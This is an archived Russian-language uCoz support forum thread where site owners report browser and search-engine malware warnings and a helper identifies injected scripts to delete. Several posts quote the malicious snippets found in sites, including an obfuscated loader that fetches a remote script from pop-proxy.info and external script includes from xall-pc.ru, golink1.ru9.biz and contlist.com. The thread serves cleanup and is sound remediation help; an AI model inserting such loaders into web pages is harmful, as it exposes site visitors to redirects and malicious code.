Модератор форума: Yuri_G  
Вирусы на сайтах_3 (архив для чтения)
pit12345
Сообщений: 24
Репутация: 0

Сообщение # 1951 | 12:32:00
Цитата (webanet)
причем вы сами залиливредоносный код к себе на сайт со своей ссылкой. это нонсенс. вы сами себя и спамите? такие конструкции всегда помечаются как вредоносные
Я в принципе предполагал что именно этот код вредоносный, только он у меня уже давно стоит, а яндекс только пару дней назад начал ругаться wink .. За помощь большое спасибо еще раз up
Artur116
Сообщений: 3
Репутация: 0

Сообщение # 1952 | 20:41:00
Всё равно еще остались вирусы на сайте, скажите пожалуйста, еще какой код удалить? ta3gta.ucoz.ru
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1953 | 21:08:39
Artur116, ну чтобы вирусов не было их надо удалять наверное

вот это так и осталось

Код
<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  var s = "http://cmm.port.pop-proxy.info/?";
  s += 585017 + "=TQRNSx9JUF0EDQsMAQEfX1ZLVFhNSgRbSx9XVlhdTFVNBAg";
  script.src = s;
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
  })(window);
  </script>

из блока онлайн удалить скрипт

Код
<script src="http://xall-pc.ru/up.js" type="text/javascript"></script>


пу-дизайн -управление дизайном - быстрая замена. в поле что заменить вставить скрипт

Код
<script language='javascript' type='text/javascript' src='http://contlist.com/6mn6fq8td7e535tcv454wk14ynubczth'></script>
поле на что заменить оставить пустым и произвести замену во всех модулях

обязательно разобраться с опросом и не подгружать сторонний скрипт

сменить пароль uid

и хорошо бы прекратить сбор крутых скриптов для сайта.

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Dan274
Сообщений: 25
Репутация: 0

Сообщение # 1954 | 21:10:56
Цитата (webanet)
так он реагирует и такие вердикты чаще всего раздают на реакцию на рекламуесли будут повторные припадки, то пишите сразу в тех.поддержку, но заголовок письма выбирайте свой. и уже разбирайтесь с ними
Даа, припадки уже случались, но у яндекса поддержка не сильно многословная, подумал может вы что подскажите. А то ведь мобильный редирект говорят коварная зараза devil , а реклама так только с Google AdSence и РСЯ...
MikhailMD
Сообщений: 103
Репутация: 19

Сообщение # 1955 | 21:19:24
Здраствуйте, у возникла проблема/ сайт подозревается в мошенничестве вот скрины:



и гугл


Самое интересное что гуглименно заподозрил в мошенничестве а не с аредоносной программой, адрес в подписи кто не боится, подскажите что может быть?

Добавлено (26 Апр 2013, 21:18:07)
---------------------------------------------
Добавлю, толко что проверил в онлайн сервисах, на вирусы, в том числе доктор веб, нигде вирусов не обнаружено

Добавлено (26 Апр 2013, 21:19:24)
---------------------------------------------
комп тоже просканировал тоже самое!


webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1956 | 21:23:52
MikhailMD, в совершенно бесполезный мусор перевода сайта на миллион языков вшит вредоносный код

Код
<script src="http://xall-pc.ru/up.js" type="text/javascript"></script>


ну и скрипт с чужого сайта. лучше удалить мусор перевода полностью

к переводу, к шаре и к футеру не надо было прописывать доктипы. доктип прописывается один раз в общих настройках, а не к каждому скрипту или элементу дизайна

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
MikhailMD
Сообщений: 103
Репутация: 19

Сообщение # 1957 | 21:32:34
Спасибо и правда бесполезный,

Artur116
Сообщений: 3
Репутация: 0

Сообщение # 1958 | 13:32:50
webanet, спасибо за помощь, но второй же скрипт это у меня реклама. ее надо обязательно убрать. а так мне ее не хочется убрать, она приносит доход...
Oksane
Сообщений: 35
Репутация: 1

Сообщение # 1959 | 21:40:17
У меня не стоит касперский, мне сообщила коллега.
Сайт rebenok-mam@a.ucoz.ru (уберите, пожалуйста, собаку)
1)на какой странице сайта обнаруживается проблема (ссылка)
Хаотично
2) проблема обнаруживается только под логином или под гостем тоже
Под гостем точно, под пользователем нет возможности проверить.
3) если реагирует антивирус, то назовите свой антивирус, и предоставьте текст или четкий скриншот блокировки
Касперский, коллега мне предоставила скрин


Фавикон грузится с левого сайта. Сайт был приобретен мною несколько дней назад.
AlexSeR
Сообщений: 11
Репутация: 0

Сообщение # 1960 | 14:54:01
Гугл пишет заражено вредоносным ПО
Проверил сайт на вирусы вот что пишет
1. http://u-mrx.addflow.ru/mrx.js?p=2, тип файла: javascript
2. http://s44.ucoz.net/src/jquery-1.3.2.js, тип файла: javascript
3. http://s44.ucoz.net/src/uwnd.js?2, тип файла: javascript
4. http://csgo-planet.ru/, тип файла: html
• содержит сомнительную ссылку по версии гугла: planet-css.ru
• содержит сомнительную ссылку по версии гугла: www.liveinternet.ru
5. http://golink1.ru9.biz/js/back.php?id=43, тип файла: javascript
6. http://s15.ucoz.net/src/jquery-1.7.2.js, тип файла: javascript
7. http://csgo-planet.ru/./js.php?s=54, тип файла: javascript
• содержит сомнительную ссылку по версии гугла: planet-css.ru
• содержит сомнительную ссылку по версии гугла: www.liveinternet.ru
• содержит сомнительную ссылку по версии гугла: ucoz.ru
• содержит сомнительную ссылку по версии гугла: yandex.ru
8. http://linkcase.ru/show/cases/3858, тип файла: javascript
9. http://linkcase.ru/show/bcases/8877, тип файла: javascript
10. http://mc.yandex.ru/metrika/watch.js, тип файла: javascript
11. http://s15.ucoz.net/src/uwnd.js?2, тип файла: javascript
12. http://s15.ucoz.net/src/ulightbox/ulightbox.js, тип файла: javascript
Сайт - http://csgo-planet.ru
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1961 | 15:01:42
AlexSeR, слейте в мусор свои онлайн проверки.

панель управления - дизайн - управление дизайном сайта - быстрая замена - в поле что заменить впишите скрипт

Код
<script language="javascript" src="http://golink1.ru9.biz/js/back.php?id=43"></script>
поле на что заменить оставьте пустым -произведите замену во всех модулях

далее тоже самое проделайте со скриптом

Код
<script language="javascript" src="./js.php?s=54"></script>


после очистки нужно сменить uid пароль

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
AlexSeR
Сообщений: 11
Репутация: 0

Сообщение # 1962 | 15:10:29
webanet, Как изменить пароль uid
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1963 | 15:18:08
AlexSeR, заходите на uid.me в вебтоп - безопасность - сменить пароль аккаунта. нужно менять пароль аккаунта, которым администрируете сайт. если ещё есть админы с доступом к коду, то должны сделать тоже самое

вот инструкция //forum.ucoz.ru/forum/45-35806-1

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
niaz
Сообщений: 19
Репутация: 0

Сообщение # 1964 | 15:32:07
Добрый день! У меня на сайте http://rubalka.ucoz.ru/forum/0-0-1-34 возникла проблема с входом на главную страницу сайта, блог, в фотоальбом и другие сервисы ... вылезает сайт: okdaje.com
Что нужно сделать, чтобы избавится от вредоносной программы?
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1965 | 15:37:21
niaz, блок события и даты

Цитата
<!-- <block4192> -->
<table border="0" cellpadding="0" cellspacing="0" class="boxTable"><tr><td class="boxTitle"><b><!-- <bt> -->События и даты<!-- </bt> --></b></td></tr><tr><td class="boxContent"><!-- <bc> --><script language='JavaScript' src='http://www.estpovod.ru/informer_show.php?news_cnt=5&inf_width=185&bg=FFFFFF&csp=1&cpd=4&fsz=13&bg1=CCCCFF&fcl1=000000&fsz1=15&bg2=FFFFFF&fcl=9999FF&fsz2=13&wt=&show_dat=&wt1=&new='></script><!-- </bc> --></td></tr></table>
<!-- </block4192> -->


и не замусоривайте сайт чужим кодом

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Поиск: